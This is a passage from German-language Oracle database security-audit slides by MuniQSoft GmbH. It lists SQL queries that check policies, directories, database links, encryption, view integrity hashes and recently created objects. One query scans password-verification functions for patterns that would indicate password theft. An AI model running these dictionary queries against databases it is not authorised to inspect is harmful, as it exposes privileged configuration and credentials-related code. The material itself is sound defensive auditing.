decode(bitand(r.stmt_type,1), 0, 'NO', 'YES') SELEC T,decode(bitand(r.stmt_type,2), 0, 'NO', 'YES') ins,decode(bitand(r.stmt_type,4), 0, 'NO', 'YES') upd,decode(bitand(r.stmt_type,8), 0, 'NO', 'YES') del,decode(bitand(r.stmt_type,2048), 0, 'NO', 'YES') id x,decode(r.check_opt, 0, 'NO', 'YES')chk_option,decode(r.enable_flag, 0, 'NO', 'YES') "enable"
FROM user$ u, obj$ o, rls$ rWHERE u.user# = o.owner#AND r.obj# = o.obj#AND u.name not in ('XDB','SYSTEM','MDSYS');
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 8
Welche Directories sind angelegt
SELECT u.name owner, o.name directory_name, d.os_path os_pathFROM sys.user$ u, sys.obj$ o, sys.dir$ dWHERE u.user# = o.owner#AND o.obj# = d.obj#;
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 9
Hinweis: Und wer hat Rechte darauf?
select u.name owner, o.name directory_name, d.os_pa th os_path,listagg(u2.name||' ('||s.name||')',',') wit hin group (order by o.name) as privsfrom sys.user$ u, sys.user$ u2, sys.obj$ o, sys.dir $ d, sys.objauth$ a, sys.table_privilege_map swhere u.user# = o.owner#and o.obj# = d.obj#and a.grantee#=u2.user#and a.obj#=d.obj#and s.PRIVILEGE=a.PRIVILEGE#group by u.name , o.name , d.os_path ;
Welche DB Links existieren ?
SELECT u.name username, l.name db_link_name, l.userid, l.host, l.ctimeFROM sys.link$ l, sys.user$ uWHERE l.owner# = u.user#;
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 0
Welche Objekte sind verschlüsselt?
Verschlüsselte Tablespaces:
SELECT t.name, et.encryptionalg algorithmFROM v$tablespace t,v$encrypted_tablespaces etWHERE t.ts# = et.ts#;
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 1
Verschlüsselte Tabellen:SELECT u.name||'.'||o.name object_name, c.name col_ name,
case e.ENCALG when 1 then '3 Key Triple DES 168 bit s key'when 2 then 'AES 128 bits key'when 3 then 'AES 192 bits key'when 4 then 'AES 256 bits key'else 'Internal Err'
end encyrption,decode(bitand(c.property, 536870912), 0, 'YES',
'NO') saltFROM user$ u, obj$ o, col$ c, enc$ eWHERE e.obj#=o.obj# and o.owner#=u.user# and bitand (flags, 128)=0 and e.obj#=c.obj# and bitand(c.property, 67108864) = 67108864;
Wird die Passwort Prüffunktion verwendet ?
SELECT profile,limit FROM dba_profilesWHERE RESOURCE_NAME='PASSWORD_VERIFY_FUNCTION'AND limit<>'DEFAULT';
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 2
Hinweis:Wenn Sie bedenken haben, das Ihre Prüf-Funktion ein Spion ist, und die Passwörter aufzeichnet:
SELECT line,text from dba_source WHERE name in (select limit from dba_profilesWHERE RESOURCE_NAME='PASSWORD_VERIFY_FUNCTION'AND limit<>'DEFAULT')AND (upper(text) like '%COMMIT%'OR upper(text) like '%DBMS^_%' escape '^'OR upper(text) like '%EXECUTE IMMEDIATE%'OR upper(text) like '%UTL%');
Prüffunktionen
Für wichtige Views sollte eine Hash Funktion verwen det werden um die Echtheit der View zu bestätigen:
SYS.ALL_OBJECTS (2324) 30DFF648A42A7AD6885BCF861EE41EAD
SYS.ALL_POLICIES ( 838) 23ECB8487F9A0A1DA957DA8184C6312D
SYS.ALL_SOURCE (5373) 1FACA6FE7DBD7238C0357BBD770BA615
SYS.ALL_SYNONYMS (1431) 29E274E0EAEDD7F1C72A3529CCA0FC52
SYS.ALL_TABLES (1436) EC7489767CA355D6C2D871846F87279C
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 3
SET SERVEROUTPUT ONDECLARE v_hash VARCHAR2(32000);BEGINFOR c IN (SELECT owner,view_name,text FROM dba_view s
WHERE owner='SYS' AND view_name IN
('DBA_TABLES','ALL_TABLES','DBA_OBJECTS','ALL_OBJEC TS','DBA_TRIGGERS','ALL_TRIGGERS','DBA_POLICIES','ALL_POLICIES','DBA_V IEWS','ALL_VIEWS','DBA_JOBS','ALL_JOBS','DBA_SCHEDULER_JOBS','DBA_ROL ES','DBA_SYNONYMS','ALL_SYNONYMS','DBA_DIRECTORIES','DBA_SOURCE','ALL_ SOURCE','DBA_USERS') ORDER BY 2) LOOP v_hash:=v_hash||dbms_crypto.Hash(utl_raw.cast_to_ra w(c.text),dbms_crypto.hash_md5);dbms_output.put_line(c.owner||'.'||rpad(c.view_name ,30,' ')||'('||lpad(length(c.text),4,' ')||') '||dbms_crypto.Hash(utl_raw.cast_to_raw(c.text),dbms_c rypto.hash_md5));END LOOP;dbms_output.put_line('Komplett-Hash:'||dbms_crypto.Hash(utl_raw.cast_to_raw(v_hash ),dbms_crypto.hash_md5));END;/
Welche Objekte wurden kürzlich neu erzeugt?
Prüfen Sie, welche Objekte in den letzten Tagen in der DB neu angelegt wurden
Wenn jedoch durch die Applikation regelmäßig neue Objekte erstellt werden, ist es schwierig die "Kuckuckseier" zu finden
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 4
SELECT * FROM (SELECT owner,count( CASE WHEN object_type= 'SYNONYM' AND c reated between sysdate-1 and sysdate THEN 'x' END ) as "SYN (1 Tag)",count( CASE WHEN object_type= 'SYNONYM' AND c reated between sysdate-7 and sysdate-1 THEN 'x' END ) as "SYN (7 T.)",count( CASE WHEN object_type= 'PACKAGE BODY' AND c reated between sysdate-1 and sysdate THEN 'x' END ) as "PackB (1 Tag)",count( CASE WHEN object_type= 'PACKAGE BODY' AND c reated between sysdate-7 and sysdate-1 THEN 'x' END ) as "PackB (7 T.)",count( CASE WHEN object_type= 'PROCEDURE' AND c reated between sysdate-1 and sysdate THEN 'x' END ) as "Proc (1 Tag)",count( CASE WHEN object_type= 'PROCEDURE' AND c reated between sysdate-7 and sysdate-1 THEN 'x' END ) as "Proc (7 T.)",count( CASE WHEN object_type= 'TRIGGER' AND c reated between sysdate-1 and sysdate THEN 'x' END ) as "Trig (1 Tag)",count( CASE WHEN object_type= 'TRIGGER' AND c reated between sysdate-7 and sysdate-1 THEN 'x' END ) as "Trig (7 T.)",count( CASE WHEN object_type= 'DATABASE LINK' AND c reated between sysdate-1 and sysdate THEN 'x' END ) as "DBLinks (1 Tag)",count( CASE WHEN object_type= 'DATABASE LINK' AND c reated between sysdate-7 and sysdate-1 THEN 'x' END ) as "DBLinks (7 T.)"FROM dba_objectsGROUP BY owner)WHERE "SYN (1 Tag)" + "SYN (7 T.)" + "PackB (1 Tag) " + "PackB (7 T.)" + "Proc (1 Tag)" + "Proc (7 T.)"+ "Trig (1 Tag)" + "Trig (7 T.)" + "DBLinks (1 Tag) " + "DBLinks (7 T.)" >0;
16 Jahre MuniQSoft GmbH
Tätigkeitsbereiche:
Oracle Support Hotline: Mo-Fr 8.00 – 18.00 UhrErweiterung um Rufbereitschaft auch am Wochenende m öglich
Oracle IT-Consulting & Services, Schwerpunkt auch R AC
Oracle Schulungen (SQL, PL/SQL, DBA, APEX, B&R, MyS QL…51 verschiedene Schulungen, gerne auch Inhouse )
Software-Lösungen
Oracle Lizenzen
MuniQSoft GmbH IT-Consulting, Support, & Software-LösungenWitneystr. 182008 UnterhachingTel.: 089 / 6228 6789 0
MuniQSoft GmbH SchulungszentrumGrünwalder Weg 13a82008 UnterhachingTel.: 089 / 679090 40
MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 5
Recommended